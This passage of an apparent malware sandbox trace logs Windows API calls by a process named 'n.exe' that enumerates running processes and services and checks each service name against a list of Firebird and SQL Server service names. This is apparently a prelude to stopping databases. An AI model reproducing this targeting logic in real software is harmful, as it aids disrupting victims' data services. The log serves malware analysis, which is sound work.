hSnapshot=0x1b8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.132] lstrlenW (lpString="svchost.exe") returned 11 [0158.132] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.133] lstrlenW (lpString="svchost.exe") returned 11 [0158.133] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.133] lstrlenW (lpString="svchost.exe") returned 11 [0158.133] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0158.133] lstrlenW (lpString="audiodg.exe") returned 11 [0158.133] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.134] lstrlenW (lpString="svchost.exe") returned 11 [0158.134] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0158.134] lstrlenW (lpString="explorer.exe") returned 12 [0158.134] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0158.134] lstrlenW (lpString="dwm.exe") returned 7 [0158.134] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.135] lstrlenW (lpString="svchost.exe") returned 11 [0158.135] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0158.135] lstrlenW (lpString="n.exe") returned 5 [0158.135] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0158.135] lstrlenW (lpString="spoolsv.exe") returned 11 [0158.135] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.136] lstrlenW (lpString="svchost.exe") returned 11 [0158.136] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0158.136] lstrlenW (lpString="taskhost.exe") returned 12 [0158.136] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0158.136] lstrlenW (lpString="reader_sl.exe") returned 13 [0158.137] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0158.137] lstrlenW (lpString="rundll32.exe") returned 12 [0158.137] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0158.137] lstrlenW (lpString="n.exe") returned 5 [0158.137] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0158.138] lstrlenW (lpString="dllhost.exe") returned 11 [0158.138] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0158.138] lstrlenW (lpString="dllhost.exe") returned 11 [0158.138] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0158.138] lstrlenW (lpString="n.exe") returned 5 [0158.138] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 0 [0158.139] CloseHandle (hObject=0x1b8) returned 1 [0158.139] Sleep (dwMilliseconds=0x1f4) [0158.755] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42f9618 [0158.755] EnumServicesStatusExW (in: hSCManager=0x42f9618, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0158.756] GetLastError () returned 0xea [0158.756] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x687228 [0158.756] EnumServicesStatusExW (in: hSCManager=0x42f9618, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x687228, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x687228, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0158.756] CloseServiceHandle (hSCObject=0x42f9618) returned 1 [0158.757] lstrlenW (lpString="Appinfo") returned 7 [0158.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0158.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0158.757] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0158.757] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0158.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0158.757] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0158.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0158.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0158.757] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0158.757] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0158.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0158.757] lstrlenW (lpString="AudioSrv") returned 8 [0158.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0158.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0158.757] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0158.757] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0158.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0158.757] lstrlenW (lpString="BFE") returned 3 [0158.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0158.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0158.757] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0158.757] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0158.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0158.757] lstrlenW (lpString="CryptSvc") returned 8 [0158.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0158.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0158.757] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0158.758] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0158.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0158.758] lstrlenW (lpString="CscService") returned 10 [0158.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0158.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0158.758] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0158.758] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0158.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0158.758] lstrlenW (lpString="DcomLaunch") returned 10 [0158.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0158.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0158.758] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0158.758] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0158.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0158.758] lstrlenW (lpString="Dhcp") returned 4 [0158.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0158.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0158.758] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0158.758] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0158.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0158.758] lstrlenW (lpString="Dnscache") returned 8 [0158.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0158.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0158.758] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0158.758] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0158.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0158.758] lstrlenW (lpString="DPS") returned 3 [0158.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0158.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0158.758] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0158.758] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0158.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0158.759] lstrlenW (lpString="eventlog") returned 8 [0158.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0158.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0158.759] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0158.759] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0158.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0158.759] lstrlenW (lpString="EventSystem") returned 11 [0158.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0158.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0158.759] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0158.759] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0158.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0158.759] lstrlenW (lpString="gpsvc") returned 5 [0158.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0158.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0158.759] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0158.759] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0158.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0158.759] lstrlenW (lpString="iphlpsvc") returned 8 [0158.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0158.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0158.759] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0158.759] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0158.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0158.759] lstrlenW (lpString="LanmanServer") returned 12 [0158.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0158.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0158.759] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0158.759] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0158.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0158.759] lstrlenW (lpString="LanmanWorkstation") returned 17 [0158.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0158.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0158.760] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0158.760] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0158.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0158.760] lstrlenW (lpString="lmhosts") returned 7 [0158.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0158.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0158.760] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0158.760] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0158.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0158.760] lstrlenW (lpString="MMCSS") returned 5 [0158.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0158.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0158.760] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0158.760] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0158.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0158.760] lstrlenW (lpString="MpsSvc") returned 6 [0158.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0158.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0158.760] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0158.760] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0158.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0158.760] lstrlenW (lpString="Netman") returned 6 [0158.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0158.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0158.760] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0158.760] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0158.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0158.760] lstrlenW (lpString="netprofm") returned 8 [0158.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0158.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0158.761] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0158.761] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0158.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0158.761] lstrlenW (lpString="NlaSvc") returned 6 [0158.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0158.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0158.761] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0158.761] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0158.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0158.761] lstrlenW (lpString="nsi") returned 3 [0158.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0158.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0158.761] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0158.761] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0158.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0158.761] lstrlenW (lpString="PcaSvc") returned 6 [0158.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0158.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0158.761] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0158.761] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0158.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0158.761] lstrlenW (lpString="PlugPlay") returned 8 [0158.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0158.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0158.761] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0158.761] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0158.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0158.761] lstrlenW (lpString="Power") returned 5 [0158.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0158.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0158.762] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0158.762] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0158.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0158.762] lstrlenW (lpString="ProfSvc") returned 7 [0158.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0158.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0158.762] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0158.762] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0158.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0158.762] lstrlenW (lpString="RpcEptMapper") returned 12 [0158.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0158.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0158.762] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0158.762] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0158.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0158.762] lstrlenW (lpString="RpcSs") returned 5 [0158.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0158.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0158.762] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0158.762] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0158.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0158.762] lstrlenW (lpString="SamSs") returned 5 [0158.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0158.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0158.762] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0158.762] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0158.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0158.762] lstrlenW (lpString="Schedule") returned 8 [0158.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0158.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0158.763] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0158.763] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0158.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0158.763] lstrlenW (lpString="SENS") returned 4 [0158.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0158.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0158.763] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0158.763] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0158.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0158.763] lstrlenW (lpString="ShellHWDetection") returned 16 [0158.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0158.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0158.763] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0158.763] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0158.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0158.763] lstrlenW (lpString="Spooler") returned 7 [0158.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0158.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0158.763] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0158.763] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0158.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0158.763] lstrlenW (lpString="SysMain") returned 7 [0158.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0158.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0158.763] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0158.763] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0158.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0158.763] lstrlenW (lpString="Themes") returned 6 [0158.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0158.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0158.764] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0158.764] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0158.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0158.764] lstrlenW (lpString="TrkWks") returned 6 [0158.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0158.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0158.764] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0158.764] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0158.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0158.764] lstrlenW (lpString="UxSms") returned 5 [0158.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0158.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0158.764] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0158.764] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0158.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0158.764] lstrlenW (lpString="WdiServiceHost") returned 14 [0158.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0158.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0158.765] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0158.765] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0158.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned 